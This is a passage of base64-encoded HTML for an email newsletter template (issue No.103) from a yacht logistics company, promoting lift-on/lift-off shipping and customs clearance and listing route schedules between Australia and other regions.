ICAgICAgICAgICAgPGltZyBhbHQ9IiIgd2lkdGg9IjEiIGhlaWdodD0iMjAiIHN0eWxlPSJib3Jk ZXItd2lkdGg6IDBweDsgYm9yZGVyLXN0eWxlOiBzb2xpZDsiIHNyYz0iaHR0cDovL3dlYnNpdGVz Lm1haWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL3NwYWNlci5naWYi PjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPklTU1VFIDwvc3Bhbj48c3BhbiBzdHlsZT0i dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsiPjxzaW5nbGVsaW5lIGxhYmVsPSJJc3N1ZSBOby4i Pk5vLjEwMzwvc2luZ2xlbGluZT48L3NwYW4+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQg c3R5bGU9IiIgd2lkdGg9IjIwIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAgICAgICAg ICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGFsdD0iIiBz cmM9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNz L2ltYWdlcy9BTElZTEMuanBnIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRo PSI2MjAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dHIgYmdjb2xvcj0iIzNjNGE3NyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDx0ZCBzdHlsZT0iIiB3aWR0aD0iMzAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0icHJvbW9jZWxsIiB2YWxpZ249Im1pZGRsZSIgc3R5 bGU9IiIgaGVpZ2h0PSI0MCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxw PjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij5TYWZlIGVmZmVjdGl2ZSB0cmFuc3Bv cnQgb2YgeW91ciB5YWNodCBpbnRlcm5hdGlvbmFsbHkuPC9zcGFuPjwvcD4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHRkIGFsaWduPSJyaWdodCIgY2xhc3M9InByb21vY2VsbCIgc3R5bGU9IiIgaGVp Z2h0PSI0MCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIG9uY2xpY2s9 InJldHVybiBmYWxzZTsiIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9 ODM3Mzc0NCZUPTEzODMzNSZVPTU2MDVmNWVjMjU2MmQzNjQ0YTE5OTNiYTYyOGU0N2MyMGY1IiB0 YXJnZXQ9Il9ibGFuayI+PGltZyB3aWR0aD0iMTIxIiBoZWlnaHQ9IjI1IiBzdHlsZT0iYm9yZGVy LXdpZHRoOiAwcHg7IGJvcmRlci1zdHlsZTogc29saWQ7IiBhbHQ9InF1b3RlIiBzcmM9Imh0dHA6 Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9x dW90ZS5wbmciPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSIiIHdpZHRoPSIz MCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSIi IHdpZHRoPSIyMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmZmZmOyIgY29s c3Bhbj0iNCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFs aWduPSJyaWdodCIgc3R5bGU9IiIgd2lkdGg9IjIwIj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPGltZyBhbHQ9IiIgd2lkdGg9IjIwIiBoZWlnaHQ9IjIwIiBzdHlsZT0iYm9y ZGVyLXdpZHRoOiAwcHg7IGJvcmRlci1zdHlsZTogc29saWQ7IiBzcmM9Imh0dHA6Ly93ZWJzaXRl cy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9zaGFkb3dfYmx1 ZS5wbmciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8L3Rib2R5PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAg ICAgICAgICAgICA8dGFibGUgd2lkdGg9IjYwMCIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIg Y2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5PgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1 NSk7IiBjb2xzcGFuPSIzIiBoZWlnaHQ9IjEwIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImJhY2tncm91bmQtY29s b3I6IHJnYigyNTUsIDI1NSwgMjU1KTsiIHdpZHRoPSIzMCI+PC90ZD4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW50YmxvY2siIHN0eWxlPSJiYWNr Z3JvdW5kLWNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1NSk7IiB3aWR0aD0iNTQwIj4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSI1NDAiIGJvcmRlcj0iMCIg Y2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyB2ZXJ0 aWNhbC1hbGlnbjogdG9wOyIgd2lkdGg9IjIwMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDxhIG9uY2xpY2s9InJldHVybiBmYWxzZTsiIGhyZWY9Imh0 dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTEzODMzNSZVPTU2MDNk MDBkZjRjNjhmZDQ5NDFhZGQzMmMzOTExNjJhZTZkIiB0YXJnZXQ9Il9ibGFuayI+PGltZyBhbHQ9 IiIgd2lkdGg9IjE1MCIgaGVpZ2h0PSIxMDAiIHN0eWxlPSJib3JkZXItd2lkdGg6IDBweDsgYm9y ZGVyLXN0eWxlOiBzb2xpZDsiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1haWxiYW5rLmNvbS5hdS9B dXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL2xpZnQuanBnIj48L2E+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIG9uY2xpY2s9InJldHVybiBmYWxz ZTsiIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTEz ODMzNSZVPTU2MDNkMDBkZjRjNjhmZDQ5NDFhZGQzMmMzOTExNjJhZTZkIiB0YXJnZXQ9Il9ibGFu ayI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNCBj bGFzcz0ic2Vjb25kYXJ5Ij48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyI+TGlmdCBP biAvIExpZnQgT2ZmPC9zcGFuPjwvaDQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDwvYT48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHNwYW4gc3R5 bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsgY29sb3I6ICMwMDAwMDA7Ij5TYWZlICZhbXA7IGVmZmVj dGl2ZSBsaWZ0IG9uIC8gbGlmdCBvZmYgdHJhbnNwb3J0IGZvciB5b3VyIHlhY2h0LgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBvbmNsaWNrPSJyZXR1 cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3 NDQmVD0xMzgzMzUmVT01NjAzZDAwZGY0YzY4ZmQ0OTQxYWRkMzJjMzkxMTYyYWU2ZCIgdGFyZ2V0 PSJfYmxhbmsiPkZpbmQgT3V0IE1vcmU8L2E+PC9zcGFuPjwvcD4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSIiIHdpZHRoPSI0NSI+PC90ZD4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWdu PSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IHZlcnRpY2FsLWFsaWduOiB0b3A7 IiB3aWR0aD0iMjAwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPGEgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgaHJlZj0iaHR0cDovL21haWxiYW5rLmNv bS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9MTM4MzM1JlU9NTYwOTBmMjRmMDM5MmEzNDUwOGE5 YTI3ZDA1ODNmNTVjZTYiIHRhcmdldD0iX2JsYW5rIj48aW1nIGFsdD0iIiB3aWR0aD0iMTUwIiBo ZWlnaHQ9IjEwMCIgc3R5bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6IHNvbGlk OyIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lz dGljcy9pbWFnZXMvY3VzdG9tcy5qcGciPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPGEgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgaHJlZj0iaHR0 cDovL21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9MTM4MzM1JlU9NTYwOTBm MjRmMDM5MmEzNDUwOGE5YTI3ZDA1ODNmNTVjZTYiIHRhcmdldD0iX2JsYW5rIj4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg0IGNsYXNzPSJzZWNvbmRh cnkiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij5DdXN0b21zIENsZWFyYW5jZTwv c3Bhbj48L2g0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8L2E+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsiPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxzcGFuIHN0eWxlPSJmb250LWZhbWls eTogQXJpYWw7Ij48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwMDA7Ij5MZWFkaW5nIHlhY2h0IGN1 c3RvbXMgYW5kIHF1YXJhbnRpbmUgYnJva2VycyBpbiBBdXN0cmFsaWEuPC9zcGFuPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBvbmNsaWNrPSJyZXR1 cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3 NDQmVD0xMzgzMzUmVT01NjA5MGYyNGYwMzkyYTM0NTA4YTlhMjdkMDU4M2Y1NWNlNiIgdGFyZ2V0 PSJfYmxhbmsiPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPkZpbmQgT3V0IE1vcmU8L3Nw YW4+PC9hPjwvc3Bhbj48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUp OyIgd2lkdGg9IjMwIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYigyNTUsIDI1 NSwgMjU1KTsiIGNvbHNwYW49IjMiIGhlaWdodD0iMTAiPjwvdGQ+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+ CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAgICAg IDx0YWJsZSB3aWR0aD0iNjIwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGlu Zz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGJvZHk+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHRyIGJnY29sb3I9IiMzYzRhNzciPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IiIgd2lkdGg9IjMwIj48L3RkPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InByb21vY2VsbCIgdmFsaWdu PSJtaWRkbGUiIHN0eWxlPSIiIGhlaWdodD0iNDAiPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8cD5TY2hlZHVsZSBVcGRhdGU8L3A+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 ZCBzdHlsZT0iIiB3aWR0aD0iMjAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2Zm ZmZmZjsiIGNvbHNwYW49IjIiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDx0ZCBhbGlnbj0icmlnaHQiIHN0eWxlPSIiIHdpZHRoPSIyMCI+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDxpbWcgYWx0PSIiIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIg c3R5bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6IHNvbGlkOyIgc3JjPSJodHRw Oi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9pbWFnZXMv c2hhZG93X2JsdWUucG5nIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90 ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAg ICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSI2MDAiIGJvcmRlcj0iMCIgY2VsbHNw YWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDI1 NSwgMjU1LCAyNTUpOyIgd2lkdGg9IjMwIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbnRibG9jayIgdmFsaWduPSJ0b3AiIHN0eWxlPSJi YWNrZ3JvdW5kLWNvbG9yOiAjZmZmZmZmOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDxoNCBjbGFzcz0ic2Vjb25kYXJ5IiBzdHlsZT0ibWFyZ2luLXRvcDogMHB4OyI+PHNw YW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsiPkxpZnQgT24gLyBMaWZ0IE9mZjwvc3Bhbj48 L2g0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9u dC1mYW1pbHk6IEFyaWFsOyI+PHJlcGVhdGVyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8bGF5b3V0IGxhYmVsPSJMaWZ0IERhdGUiPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8L2xheW91dD48L3JlcGVhdGVyPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRp bmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5Pgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSIiIHdpZHRo PSIzMzAiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7IGNvbG9yOiAjMDAwMDAwOyI+ V2VzdCBDb2FzdCBBdXN0cmFsaWEgLyBFYXN0IENvYXN0IEF1c3RyYWxpYTxicj4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWFzdCBDb2FzdCBBdXN0cmFs aWEgLyBXZXN0IENvYXN0IEF1c3RyYWxpYTxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgQXVzdHJhbGlhIC8gTWVkIC8gQXVzdHJhbGlhPGJyPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBdXN0cmFsaWEgLyBO b3J0aGVybiBFdXJvcGUgLyBBdXN0cmFsaWE8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIFdlc3QgQ29hc3QgVVNBIC8gQXVzdHJhbGlhPGJyPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBdXN0cmFsaWEgLyBF YXN0IENvYXN0IFVTQSAvIEF1c3RyYWxpYTxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgQXVzdHJhbGlhIC8gTWlkZGxlIEVhc3QmbmJzcDs8YnI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEF1c3RyYWxpYSAv IEFzaWEgLyBBdXN0cmFsaWE8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8dGQ+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsgY29s b3I6ICMwMDAwMDA7Ij5XZWVrbHk8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIEZvcnRuaWdodGx5PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICBGb3J0bmlnaHRseTxicj4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTW9udGhseTxicj4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTW9udGhseTxicj4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRm9ydG5pZ2h0bHk8YnI+CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE1vbnRobHk8YnI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZvcnRuaWdodGx5 PC9zcGFuPjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Ry PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1NSk7IiB3aWR0 aD0iMzAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUp OyIgY29sc3Bhbj0iNSIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4KICAgICAg ICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxl IHdpZHRoPSI2MjAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dHIgYmdjb2xvcj0iIzNjNGE3NyI+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDx0ZCBzdHlsZT0iIiB3aWR0aD0iMzAiPjwvdGQ+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0icHJvbW9jZWxsIiB2YWxpZ249Im1pZGRs ZSIgc3R5bGU9IiIgaGVpZ2h0PSI0MCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDxwPkF1cm9yYSBpbiBNb3Rpb248L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHls ZT0iIiB3aWR0aD0iMjAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90 cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2ZmZmZmZjsi IGNvbHNwYW49IjIiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 ZCBhbGlnbj0icmlnaHQiIHN0eWxlPSIiIHdpZHRoPSIyMCI+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDxpbWcgYWx0PSIiIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgc3R5bGU9 ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6IHNvbGlkOyIgc3JjPSJodHRwOi8vd2Vi c2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9pbWFnZXMvc2hhZG93 X2JsdWUucG5nIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgPC90Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAg ICAgICAgICAgICAgICAgPHJlcGVhdGVyPgogICAgICAgICAgICAgICAgICAgICAgICA8bGF5b3V0 IGxhYmVsPSJBdXJvcmEgTmV3cyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvbGF5b3V0Pjwv cmVwZWF0ZXI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iNjAwIiBib3Jk ZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImJhY2tncm91bmQt Y29sb3I6IHJnYigyNTUsIDI1NSwgMjU1KTsiIGNvbHNwYW49IjMiIGhlaWdodD0iMTAiPjwvdGQ+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUpOyIgd2lkdGg9IjMw Ij48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImJh Y2tncm91bmQtY29sb3I6ICNmZmZmZmY7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxs 